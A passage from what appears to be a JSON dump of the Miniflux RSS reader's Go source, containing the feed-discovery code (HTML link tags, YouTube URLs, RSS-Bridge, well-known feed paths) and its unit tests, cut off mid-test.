    "content": "<p>Lorem ipsum dolor sit amet, consectetuer adipiscing ept.</p><p>Apquam tincidunt mauris eu risus.</p><p>Vestibulum auctor dapibus neque.</p>\n"
  },
  {
    "path": "internal/reader/subscription/finder.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage subscription // import \"miniflux.app/v2/internal/reader/subscription\"\n\nimport (\n\t\"bytes\"\n\t\"log/slog\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/integration/rssbridge\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/encoding\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\t\"miniflux.app/v2/internal/reader/parser\"\n\t\"miniflux.app/v2/internal/urllib\"\n\n\t\"github.com/PuerkitoBio/goquery\"\n)\n\ntype subscriptionFinder struct {\n\trequestBuilder   *fetcher.RequestBuilder\n\tfeedDownloaded   bool\n\tfeedResponseInfo *model.FeedCreationRequestFromSubscriptionDiscovery\n}\n\nfunc NewSubscriptionFinder(requestBuilder *fetcher.RequestBuilder) *subscriptionFinder {\n\treturn &subscriptionFinder{\n\t\trequestBuilder: requestBuilder,\n\t}\n}\n\nfunc (f *subscriptionFinder) IsFeedAlreadyDownloaded() bool {\n\treturn f.feedDownloaded\n}\n\nfunc (f *subscriptionFinder) FeedResponseInfo() *model.FeedCreationRequestFromSubscriptionDiscovery {\n\treturn f.feedResponseInfo\n}\n\nfunc (f *subscriptionFinder) FindSubscriptions(websiteURL, rssBridgeURL string, rssBridgeToken string) (Subscriptions, *locale.LocalizedErrorWrapper) {\n\tresponseHandler := fetcher.NewResponseHandler(f.requestBuilder.ExecuteRequest(websiteURL))\n\tdefer responseHandler.Close()\n\n\tif localizedError := responseHandler.LocalizedError(); localizedError != nil {\n\t\tslog.Warn(\"Unable to find subscriptions\", slog.String(\"website_url\", websiteURL), slog.Any(\"error\", localizedError.Error()))\n\t\treturn nil, localizedError\n\t}\n\n\tresponseBody, localizedError := responseHandler.ReadBody(config.Opts.HTTPClientMaxBodySize())\n\tif localizedError != nil {\n\t\tslog.Warn(\"Unable to find subscriptions\", slog.String(\"website_url\", websiteURL), slog.Any(\"error\", localizedError.Error()))\n\t\treturn nil, localizedError\n\t}\n\n\tf.feedResponseInfo = &model.FeedCreationRequestFromSubscriptionDiscovery{\n\t\tContent:      bytes.NewReader(responseBody),\n\t\tETag:         responseHandler.ETag(),\n\t\tLastModified: responseHandler.LastModified(),\n\t}\n\n\t// Step 1) Check if the website URL is already a feed.\n\tif feedFormat, _ := parser.DetectFeedFormat(f.feedResponseInfo.Content); feedFormat != parser.FormatUnknown {\n\t\tf.feedDownloaded = true\n\t\treturn Subscriptions{NewSubscription(responseHandler.EffectiveURL(), responseHandler.EffectiveURL(), feedFormat)}, nil\n\t}\n\n\t// It's not a feed, so we have to process its HTML.\n\tdoc, err := parseHTMLDocument(responseHandler.ContentType(), responseBody)\n\tif err != nil {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(err, \"error.unable_to_parse_html_document\", err)\n\t}\n\tbaseURL := getBaseURL(websiteURL, doc)\n\n\t// Step 2) Find the canonical URL of the website.\n\tslog.Debug(\"Try to find the canonical URL of the website\", slog.String(\"website_url\", websiteURL))\n\twebsiteURL = f.findCanonicalURL(websiteURL, baseURL, doc)\n\n\t// Step 3) Check if the website URL is a YouTube channel.\n\tslog.Debug(\"Try to detect feeds for a YouTube page\", slog.String(\"website_url\", websiteURL))\n\tif subscriptions, localizedError := f.findSubscriptionsFromYouTube(websiteURL); localizedError != nil {\n\t\treturn nil, localizedError\n\t} else if len(subscriptions) > 0 {\n\t\tslog.Debug(\"Subscriptions found from YouTube page\", slog.String(\"website_url\", websiteURL), slog.Any(\"subscriptions\", subscriptions))\n\t\treturn subscriptions, nil\n\t}\n\n\t// Step 4) Parse web page to find feeds from HTML meta tags.\n\tslog.Debug(\"Try to detect feeds from HTML meta tags\",\n\t\tslog.String(\"website_url\", websiteURL),\n\t\tslog.String(\"content_type\", responseHandler.ContentType()),\n\t)\n\n\tif subscriptions, localizedError := f.findSubscriptionsFromWebPage(baseURL, doc); localizedError != nil {\n\t\treturn nil, localizedError\n\t} else if len(subscriptions) > 0 {\n\t\tslog.Debug(\"Subscriptions found from web page\", slog.String(\"website_url\", websiteURL), slog.Any(\"subscriptions\", subscriptions))\n\t\treturn subscriptions, nil\n\t}\n\n\t// Step 5) Check if the website URL can use RSS-Bridge.\n\tif rssBridgeURL != \"\" {\n\t\tslog.Debug(\"Try to detect feeds with RSS-Bridge\", slog.String(\"website_url\", websiteURL))\n\t\tif subscriptions, localizedError := f.findSubscriptionsFromRSSBridge(websiteURL, rssBridgeURL, rssBridgeToken); localizedError != nil {\n\t\t\treturn nil, localizedError\n\t\t} else if len(subscriptions) > 0 {\n\t\t\tslog.Debug(\"Subscriptions found from RSS-Bridge\", slog.String(\"website_url\", websiteURL), slog.Any(\"subscriptions\", subscriptions))\n\t\t\treturn subscriptions, nil\n\t\t}\n\t}\n\n\t// Step 6) Check if the website has a known feed URL.\n\tslog.Debug(\"Try to detect feeds from well-known URLs\", slog.String(\"website_url\", websiteURL))\n\tif subscriptions, localizedError := f.findSubscriptionsFromWellKnownURLs(websiteURL); localizedError != nil {\n\t\treturn nil, localizedError\n\t} else if len(subscriptions) > 0 {\n\t\tslog.Debug(\"Subscriptions found with well-known URLs\", slog.String(\"website_url\", websiteURL), slog.Any(\"subscriptions\", subscriptions))\n\t\treturn subscriptions, nil\n\t}\n\n\treturn nil, nil\n}\n\nfunc (f *subscriptionFinder) findSubscriptionsFromWebPage(websiteURL string, doc *goquery.Document) (Subscriptions, *locale.LocalizedErrorWrapper) {\n\tqueries := map[string]string{\n\t\t\"link[type='application/rss+xml']\":   parser.FormatRSS,\n\t\t\"link[type='application/atom+xml']\":  parser.FormatAtom,\n\t\t\"link[type='application/feed+json']\": parser.FormatJSON,\n\n\t\t// Ignore JSON feed URLs that contain \"/wp-json/\" to avoid confusion\n\t\t// with WordPress REST API endpoints.\n\t\t\"link[type='application/json']:not([href*='/wp-json/'])\": parser.FormatJSON,\n\t}\n\n\tvar subscriptions Subscriptions\n\tsubscriptionURLs := make(map[string]bool)\n\tfor feedQuerySelector, feedFormat := range queries {\n\t\tdoc.Find(feedQuerySelector).Each(func(i int, s *goquery.Selection) {\n\t\t\tsubscription := new(subscription)\n\t\t\tsubscription.Type = feedFormat\n\n\t\t\tif feedURL, exists := s.Attr(\"href\"); exists && feedURL != \"\" {\n\t\t\t\tvar err error\n\t\t\t\tsubscription.URL, err = urllib.ResolveToAbsoluteURL(websiteURL, feedURL)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn // without an url, there can be no subscription.\n\t\t\t}\n\n\t\t\tif title, exists := s.Attr(\"title\"); exists {\n\t\t\t\tsubscription.Title = title\n\t\t\t}\n\n\t\t\tif subscription.Title == \"\" {\n\t\t\t\tsubscription.Title = subscription.URL\n\t\t\t}\n\n\t\t\tif !subscriptionURLs[subscription.URL] {\n\t\t\t\tsubscriptionURLs[subscription.URL] = true\n\t\t\t\tsubscriptions = append(subscriptions, subscription)\n\t\t\t}\n\t\t})\n\t}\n\n\treturn subscriptions, nil\n}\n\nfunc (f *subscriptionFinder) findSubscriptionsFromWellKnownURLs(websiteURL string) (Subscriptions, *locale.LocalizedErrorWrapper) {\n\tknownURLs := map[string]string{\n\t\t\"atom.xml\":     parser.FormatAtom,\n\t\t\"feed.atom\":    parser.FormatAtom,\n\t\t\"feed.xml\":     parser.FormatAtom,\n\t\t\"feed/\":        parser.FormatAtom,\n\t\t\"index.rss\":    parser.FormatRSS,\n\t\t\"index.xml\":    parser.FormatRSS,\n\t\t\"rss.xml\":      parser.FormatRSS,\n\t\t\"rss/\":         parser.FormatRSS,\n\t\t\"rss/feed.xml\": parser.FormatRSS,\n\t}\n\n\twebsiteURLRoot := urllib.RootURL(websiteURL)\n\tbaseURLs := []string{\n\t\t// Look for knownURLs in the root.\n\t\twebsiteURLRoot,\n\t}\n\n\t// Look for knownURLs in current subdirectory, such as 'example.com/blog/'.\n\twebsiteURL, _ = urllib.ResolveToAbsoluteURL(websiteURL, \"./\")\n\tif websiteURL != websiteURLRoot {\n\t\tbaseURLs = append(baseURLs, websiteURL)\n\t}\n\n\tvar subscriptions Subscriptions\n\tfor _, baseURL := range baseURLs {\n\t\tfor knownURL, kind := range knownURLs {\n\t\t\tfullURL, err := urllib.ResolveToAbsoluteURL(baseURL, knownURL)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Some websites redirects unknown URLs to the home page.\n\t\t\t// As result, the list of known URLs is returned to the subscription list.\n\t\t\t// We don't want the user to choose between invalid feed URLs.\n\t\t\tf.requestBuilder.WithoutRedirects()\n\n\t\t\tresponseHandler := fetcher.NewResponseHandler(f.requestBuilder.ExecuteRequest(fullURL))\n\t\t\tlocalizedError := responseHandler.LocalizedError()\n\t\t\tresponseHandler.Close()\n\n\t\t\t// Do not add redirections to the possible list of subscriptions to avoid confusion.\n\t\t\tif responseHandler.IsRedirect() {\n\t\t\t\tslog.Debug(\"Ignore URL redirection during feed discovery\", slog.String(\"fullURL\", fullURL))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif localizedError != nil {\n\t\t\t\tslog.Debug(\"Ignore invalid feed URL during feed discovery\",\n\t\t\t\t\tslog.String(\"fullURL\", fullURL),\n\t\t\t\t\tslog.Any(\"error\", localizedError.Error()),\n\t\t\t\t)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tsubscriptions = append(subscriptions, &subscription{\n\t\t\t\tType:  kind,\n\t\t\t\tTitle: fullURL,\n\t\t\t\tURL:   fullURL,\n\t\t\t})\n\t\t}\n\t}\n\n\treturn subscriptions, nil\n}\n\nfunc (f *subscriptionFinder) findSubscriptionsFromRSSBridge(websiteURL, rssBridgeURL string, rssBridgeToken string) (Subscriptions, *locale.LocalizedErrorWrapper) {\n\tslog.Debug(\"Trying to detect feeds using RSS-Bridge\",\n\t\tslog.String(\"website_url\", websiteURL),\n\t\tslog.String(\"rssbridge_url\", rssBridgeURL),\n\t\tslog.String(\"rssbridge_token\", rssBridgeToken),\n\t)\n\n\tbridges, err := rssbridge.DetectBridges(rssBridgeURL, rssBridgeToken, websiteURL)\n\tif err != nil {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(err, \"error.unable_to_detect_rssbridge\", err)\n\t}\n\n\tslog.Debug(\"RSS-Bridge results\",\n\t\tslog.String(\"website_url\", websiteURL),\n\t\tslog.String(\"rssbridge_url\", rssBridgeURL),\n\t\tslog.String(\"rssbridge_token\", rssBridgeToken),\n\t\tslog.Int(\"nb_bridges\", len(bridges)),\n\t)\n\n\tif len(bridges) == 0 {\n\t\treturn nil, nil\n\t}\n\n\tsubscriptions := make(Subscriptions, 0, len(bridges))\n\tfor _, bridge := range bridges {\n\t\tsubscriptions = append(subscriptions, &subscription{\n\t\t\tTitle: bridge.BridgeMeta.Name,\n\t\t\tURL:   bridge.URL,\n\t\t\tType:  parser.FormatAtom,\n\t\t})\n\t}\n\n\treturn subscriptions, nil\n}\n\nfunc (f *subscriptionFinder) findSubscriptionsFromYouTube(websiteURL string) (Subscriptions, *locale.LocalizedErrorWrapper) {\n\tplaylistPrefixes := []struct {\n\t\tprefix string\n\t\ttitle  string\n\t}{\n\t\t{\"UULF\", \"Videos\"},\n\t\t{\"UUSH\", \"Short videos\"},\n\t\t{\"UULV\", \"Live streams\"},\n\t}\n\n\tdecodedURL, err := url.Parse(websiteURL)\n\tif err != nil {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(err, \"error.invalid_site_url\", err)\n\t}\n\n\tif !strings.HasSuffix(decodedURL.Host, \"youtube.com\") {\n\t\tslog.Debug(\"YouTube feed discovery skipped: not a YouTube domain\", slog.String(\"website_url\", websiteURL))\n\t\treturn nil, nil\n\t}\n\n\tif _, baseID, found := strings.Cut(decodedURL.Path, \"channel/UC\"); found {\n\t\tvar subscriptions Subscriptions\n\n\t\tchannelFeedURL := \"https://www.youtube.com/feeds/videos.xml?channel_id=UC\" + baseID\n\t\tsubscriptions = append(subscriptions, NewSubscription(\"Channel\", channelFeedURL, parser.FormatAtom))\n\n\t\tfor _, playlist := range playlistPrefixes {\n\t\t\tplaylistFeedURL := \"https://www.youtube.com/feeds/videos.xml?playlist_id=\" + playlist.prefix + baseID\n\t\t\tsubscriptions = append(subscriptions, NewSubscription(playlist.title, playlistFeedURL, parser.FormatAtom))\n\t\t}\n\n\t\treturn subscriptions, nil\n\t}\n\n\tif strings.HasPrefix(decodedURL.Path, \"/watch\") || strings.HasPrefix(decodedURL.Path, \"/playlist\") {\n\t\tif playlistID := decodedURL.Query().Get(\"list\"); playlistID != \"\" {\n\t\t\tfeedURL := \"https://www.youtube.com/feeds/videos.xml?playlist_id=\" + playlistID\n\t\t\treturn Subscriptions{NewSubscription(decodedURL.String(), feedURL, parser.FormatAtom)}, nil\n\t\t}\n\t}\n\n\treturn nil, nil\n}\n\n// findCanonicalURL extracts the canonical URL from the HTML <link rel=\"canonical\"> tag.\n// Returns the canonical URL if found, otherwise returns the effective URL.\nfunc (f *subscriptionFinder) findCanonicalURL(effectiveURL, baseURL string, doc *goquery.Document) string {\n\tcanonicalHref, exists := doc.Find(\"head link[rel='canonical' i]\").First().Attr(\"href\")\n\tif !exists || strings.TrimSpace(canonicalHref) == \"\" {\n\t\treturn effectiveURL\n\t}\n\n\tcanonicalURL, err := urllib.ResolveToAbsoluteURL(baseURL, strings.TrimSpace(canonicalHref))\n\tif err != nil {\n\t\treturn effectiveURL\n\t}\n\n\treturn canonicalURL\n}\n\n// getBaseURL returns the url specified in the <base> tag, and `websiteURL` otherwise.\nfunc getBaseURL(websiteURL string, doc *goquery.Document) string {\n\tbaseURL := websiteURL\n\tif hrefValue, exists := doc.FindMatcher(goquery.Single(\"head base\")).Attr(\"href\"); exists {\n\t\threfValue = strings.TrimSpace(hrefValue)\n\t\tif urllib.IsAbsoluteURL(hrefValue) {\n\t\t\tbaseURL = hrefValue\n\t\t}\n\t}\n\treturn baseURL\n}\n\nfunc parseHTMLDocument(contentType string, body []byte) (*goquery.Document, error) {\n\thtmlDocumentReader, err := encoding.NewCharsetReaderFromBytes(body, contentType)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdoc, err := goquery.NewDocumentFromReader(htmlDocumentReader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn doc, nil\n}\n"
  },
  {
    "path": "internal/reader/subscription/finder_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage subscription\n\nimport (\n\t\"testing\"\n)\n\nfunc TestFindYoutubeFeed(t *testing.T) {\n\ttype testResult struct {\n\t\twebsiteURL     string\n\t\tfeedURLs       []string\n\t\tdiscoveryError bool\n\t}\n\n\tscenarios := []testResult{\n\t\t// Video URL\n\t\t{\n\t\t\twebsiteURL: \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\",\n\t\t\tfeedURLs:   []string{},\n\t\t},\n\t\t// Video URL with position argument\n\t\t{\n\t\t\twebsiteURL: \"https://www.youtube.com/watch?v=dQw4w9WgXcQ&t=1\",\n\t\t\tfeedURLs:   []string{},\n\t\t},\n\t\t// Video URL with position argument\n\t\t{\n\t\t\twebsiteURL: \"https://www.youtube.com/watch?t=1&v=dQw4w9WgXcQ\",\n\t\t\tfeedURLs:   []string{},\n\t\t},\n\t\t// Channel URL\n\t\t{\n\t\t\twebsiteURL: \"https://www.youtube.com/channel/UC-Qj80avWItNRjkZ41rzHyw\",\n\t\t\tfeedURLs: []string{\n\t\t\t\t\"https://www.youtube.com/feeds/videos.xml?channel_id=UC-Qj80avWItNRjkZ41rzHyw\",\n\t\t\t\t\"https://www.youtube.com/feeds/videos.xml?playlist_id=UULF-Qj80avWItNRjkZ41rzHyw\",\n\t\t\t\t\"https://www.youtube.com/feeds/videos.xml?playlist_id=UUSH-Qj80avWItNRjkZ41rzHyw\",\n\t\t\t\t\"https://www.youtube.com/feeds/videos.xml?playlist_id=UULV-Qj80avWItNRjkZ41rzHyw\",\n\t\t\t},\n\t\t},\n\t\t// Channel URL with name\n\t\t{\n\t\t\twebsiteURL: \"https://www.youtube.com/@ABCDEFG\",\n\t\t\tfeedURLs:   []string{},\n\t\t},\n\t\t// Playlist URL\n\t\t{\n\t\t\twebsiteURL: \"https://www.youtube.com/playlist?list=PLOOwEPgFWm_NHcQd9aCi5JXWASHO_n5uR\",\n\t\t\tfeedURLs:   []string{\"https://www.youtube.com/feeds/videos.xml?playlist_id=PLOOwEPgFWm_NHcQd9aCi5JXWASHO_n5uR\"},\n\t\t},\n\t\t// Playlist URL with video ID\n\t\t{\n\t\t\twebsiteURL: \"https://www.youtube.com/watch?v=dQw4w9WgXcQ&list=PLOOwEPgFWm_N42HlCLhqyJ0ZBWr5K1QDM\",\n\t\t\tfeedURLs:   []string{\"https://www.youtube.com/feeds/videos.xml?playlist_id=PLOOwEPgFWm_N42HlCLhqyJ0ZBWr5K1QDM\"},\n\t\t},\n\t\t// Playlist URL with video ID and index argument\n\t\t{\n\t\t\twebsiteURL: \"https://www.youtube.com/watch?v=6IutBmRJNLk&list=PLOOwEPgFWm_NHcQd9aCi5JXWASHO_n5uR&index=4\",\n\t\t\tfeedURLs:   []string{\"https://www.youtube.com/feeds/videos.xml?playlist_id=PLOOwEPgFWm_NHcQd9aCi5JXWASHO_n5uR\"},\n\t\t},\n\t\t// Empty playlist ID parameter\n\t\t{\n\t\t\twebsiteURL: \"https://www.youtube.com/playlist?list=\",\n\t\t\tfeedURLs:   []string{},\n\t\t},\n\t\t// Non-Youtube URL\n\t\t{\n\t\t\twebsiteURL: \"https://www.example.com/channel/UC-Qj80avWItNRjkZ41rzHyw\",\n\t\t\tfeedURLs:   []string{},\n\t\t},\n\t\t// Invalid URL\n\t\t{\n\t\t\twebsiteURL:     \"https://example|org/\",\n\t\t\tfeedURLs:       []string{},\n\t\t\tdiscoveryError: true,\n\t\t},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tsubscriptions, localizedError := NewSubscriptionFinder(nil).findSubscriptionsFromYouTube(scenario.websiteURL)\n\t\tif scenario.discoveryError {\n\t\t\tif localizedError == nil {\n\t\t\t\tt.Fatalf(`Parsing an invalid URL should return an error`)\n\t\t\t}\n\t\t}\n\n\t\tif len(scenario.feedURLs) == 0 {\n\t\t\tif len(subscriptions) > 0 {\n\t\t\t\tt.Fatalf(`Parsing an invalid URL should not return any subscription: %q -> %v`, scenario.websiteURL, subscriptions)\n\t\t\t}\n\t\t} else {\n\t\t\tif localizedError != nil {\n\t\t\t\tt.Fatalf(`Parsing a correctly formatted YouTube playlist or channel page should not return any error: %v`, localizedError)\n\t\t\t}\n\n\t\t\tif len(subscriptions) != len(scenario.feedURLs) {\n\t\t\t\tt.Fatalf(`Incorrect number of subscriptions returned, expected %d, got %d`, len(scenario.feedURLs), len(subscriptions))\n\t\t\t}\n\n\t\t\tfor i := range scenario.feedURLs {\n\t\t\t\tif subscriptions[i].URL != scenario.feedURLs[i] {\n\t\t\t\t\tt.Errorf(`Unexpected feed, got %s, instead of %s`, subscriptions[i].URL, scenario.feedURLs[i])\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestParseWebPageWithRssFeed(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link href=\"http://example.org/rss\" rel=\"alternate\" type=\"application/rss+xml\" title=\"Some Title\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 1 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n\n\tif subscriptions[0].Title != \"Some Title\" {\n\t\tt.Errorf(`Incorrect subscription title: %q`, subscriptions[0].Title)\n\t}\n\n\tif subscriptions[0].URL != \"http://example.org/rss\" {\n\t\tt.Errorf(`Incorrect subscription URL: %q`, subscriptions[0].URL)\n\t}\n\n\tif subscriptions[0].Type != \"rss\" {\n\t\tt.Errorf(`Incorrect subscription type: %q`, subscriptions[0].Type)\n\t}\n}\n\nfunc TestParseWebPageWithAtomFeed(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link href=\"http://example.org/atom.xml\" rel=\"alternate\" type=\"application/atom+xml\" title=\"Some Title\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 1 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n\n\tif subscriptions[0].Title != \"Some Title\" {\n\t\tt.Errorf(`Incorrect subscription title: %q`, subscriptions[0].Title)\n\t}\n\n\tif subscriptions[0].URL != \"http://example.org/atom.xml\" {\n\t\tt.Errorf(`Incorrect subscription URL: %q`, subscriptions[0].URL)\n\t}\n\n\tif subscriptions[0].Type != \"atom\" {\n\t\tt.Errorf(`Incorrect subscription type: %q`, subscriptions[0].Type)\n\t}\n}\n\nfunc TestParseWebPageWithJSONFeed(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link href=\"http://example.org/feed.json\" rel=\"alternate\" type=\"application/feed+json\" title=\"Some Title\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 1 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n\n\tif subscriptions[0].Title != \"Some Title\" {\n\t\tt.Errorf(`Incorrect subscription title: %q`, subscriptions[0].Title)\n\t}\n\n\tif subscriptions[0].URL != \"http://example.org/feed.json\" {\n\t\tt.Errorf(`Incorrect subscription URL: %q`, subscriptions[0].URL)\n\t}\n\n\tif subscriptions[0].Type != \"json\" {\n\t\tt.Errorf(`Incorrect subscription type: %q`, subscriptions[0].Type)\n\t}\n}\n\nfunc TestParseWebPageWithOldJSONFeedMimeType(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link href=\"http://example.org/feed.json\" rel=\"alternate\" type=\"application/json\" title=\"Some Title\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 1 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n\n\tif subscriptions[0].Title != \"Some Title\" {\n\t\tt.Errorf(`Incorrect subscription title: %q`, subscriptions[0].Title)\n\t}\n\n\tif subscriptions[0].URL != \"http://example.org/feed.json\" {\n\t\tt.Errorf(`Incorrect subscription URL: %q`, subscriptions[0].URL)\n\t}\n\n\tif subscriptions[0].Type != \"json\" {\n\t\tt.Errorf(`Incorrect subscription type: %q`, subscriptions[0].Type)\n\t}\n}\n\nfunc TestParseWebPageWithJSONFeedWpJsonIgnored(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link rel=\"https://api.w.org/\" href=\"https://example.org/wp-json/\" />\n\t\t\t<link rel=\"alternate\" title=\"JSON\" type=\"application/json\" href=\"https://example.org/wp-json/wp/v2/posts/123456\" />\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 0 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n}\n\nfunc TestParseWebPageWithRelativeFeedURL(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link href=\"/feed.json\" rel=\"alternate\" type=\"application/feed+json\" title=\"Some Title\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 1 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n\n\tif subscriptions[0].Title != \"Some Title\" {\n\t\tt.Errorf(`Incorrect subscription title: %q`, subscriptions[0].Title)\n\t}\n\n\tif subscriptions[0].URL != \"http://example.org/feed.json\" {\n\t\tt.Errorf(`Incorrect subscription URL: %q`, subscriptions[0].URL)\n\t}\n\n\tif subscriptions[0].Type != \"json\" {\n\t\tt.Errorf(`Incorrect subscription type: %q`, subscriptions[0].Type)\n\t}\n}\n\nfunc TestParseWebPageWithEmptyTitle(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link href=\"/feed.json\" rel=\"alternate\" type=\"application/feed+json\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 1 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n\n\tif subscriptions[0].Title != \"http://example.org/feed.json\" {\n\t\tt.Errorf(`Incorrect subscription title: %q`, subscriptions[0].Title)\n\t}\n\n\tif subscriptions[0].URL != \"http://example.org/feed.json\" {\n\t\tt.Errorf(`Incorrect subscription URL: %q`, subscriptions[0].URL)\n\t}\n\n\tif subscriptions[0].Type != \"json\" {\n\t\tt.Errorf(`Incorrect subscription type: %q`, subscriptions[0].Type)\n\t}\n}\n\nfunc TestParseWebPageWithMultipleFeeds(t *testing.T) {\n\thtmlPage := `\n\t<!doctype html>\n\t<html>\n\t\t<head>\n\t\t\t<link href=\"http://example.org/atom.xml\" rel=\"alternate\" type=\"application/atom+xml\" title=\"Atom Feed\">\n\t\t\t<link href=\"http://example.org/feed.json\" rel=\"alternate\" type=\"application/json\" title=\"JSON Feed\">\n\t\t</head>\n\t\t<body>\n\t\t</body>\n\t</html>`\n\tdoc, shouldNeverHappenErr := parseHTMLDocument(\"text/html\", []byte(htmlPage))\n\tif shouldNeverHappenErr != nil {\n\t\tt.Fatalf(`Unable to parse the HTML: %v`, shouldNeverHappenErr)\n\t}\n\n\tsubscriptions, err := NewSubscriptionFinder(nil).findSubscriptionsFromWebPage(\"http://example.org/\", doc)\n\tif err != nil {\n\t\tt.Fatalf(`Parsing a correctly formatted HTML page should not return any error: %v`, err)\n\t}\n\n\tif len(subscriptions) != 2 {\n\t\tt.Fatal(`Incorrect number of subscriptions returned`)\n\t}\n}\n\nfunc TestParseWebPageWithDuplicatedFeeds(t *testing.T) {\n\thtmlPage := `\n\t<!doctype 